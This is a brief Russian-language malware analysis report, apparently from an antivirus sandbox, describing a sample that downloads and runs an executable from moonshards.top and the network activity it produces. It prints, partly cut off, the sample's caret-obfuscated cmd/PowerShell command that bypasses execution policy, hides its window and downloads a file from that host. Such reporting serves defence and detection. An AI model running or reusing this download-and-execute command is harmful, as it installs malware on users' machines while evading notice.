Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://moonshards.top/search.php как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "powE^r^sHe^LL^.^Exe ^-E^xECU^t^i^OnpOl^ic^Y ^by^PASs^ -n^Op^r^Of^Ile -^wINd^Ows^tyl^E hId^De^n (neW-Object^ ^S^YsTE^M.n^ET.WeBclie^NT^).DoWNlO^A^df^IL^e(^'http://moonshards.top...
Сетевая активность
UDP
- DNS ASK mo###hards.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "powE^r^sHe^LL^.^Exe ^-E^xECU^t^i^OnpOl^ic^Y ^by^PASs^ -n^Op^r^Of^Ile -^wINd^Ows^tyl^E hId^De^n (neW-Object^ ^S^YsTE^M.n^ET.WeBclie^NT^).DoWNlO^A^df^IL^e(^'http://moonshards.top...' (со скрытым окном)
